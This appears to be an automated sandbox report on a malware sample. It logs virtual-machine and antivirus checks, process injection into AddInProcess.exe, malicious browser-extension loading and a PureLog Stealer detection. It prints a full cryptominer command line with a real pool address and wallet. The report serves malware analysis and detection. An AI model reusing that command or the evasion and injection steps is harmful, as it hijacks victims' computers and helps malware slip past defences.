Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59871	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59547	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 58999	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1199955	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1199828	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1199718	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59641	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59422	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59313	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 1198910	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 599886	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 599777	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59867	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59750	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59640	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59529	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59407	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59287	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 598871	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 598761	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 598652	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59840	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59733	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59625	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59516	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59379	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59261	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 597708	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 597543	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Thread delayed: delay time: 59859	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Target.exe, 00000001.00000002.4278312501.000001D0B44C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4I
Source: svchost.exe, 00000007.00000002.4113805548.000001CC7745A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.4112259937.000001CC71E2B000.00000004.00000020.00020000.00000000.sdmp, AddInProcess.exe, 00000014.00000002.4120488458.000001978E306000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: AddInProcess.exe, 00000014.00000002.4120488458.000001978E306000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\zlONcFaXkc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140000000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe protection: readonly

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Thread register set: target process: 7492

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140000000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140001000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 14037F000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1404EA000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 14079A000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BA000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BB000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BE000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C1000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407C7000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 3C1DA89010	Jump to behavior

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process created: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe "C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.196.10.233:35662 -u ZEPHs72fKDmidnGGBpgHXJHNdpe49PRJa1tvHRycwAPy9VLQpybiQf527biDskd3jSJyDZY5UbzexC3Fnoxu4rBvgyx1b5vnkJf.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 7508 -ip 7508
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7508 -s 1516

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Queries volume information: C:\Users\user\Desktop\zlONcFaXkc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Queries volume information: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

Code function: 20_2_0000000140348448 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

20_2_0000000140348448

Source: C:\Users\user\Desktop\zlONcFaXkc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Target.exe, 00000001.00000002.4278312501.000001D0B44C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack, type: UNPACKEDPE
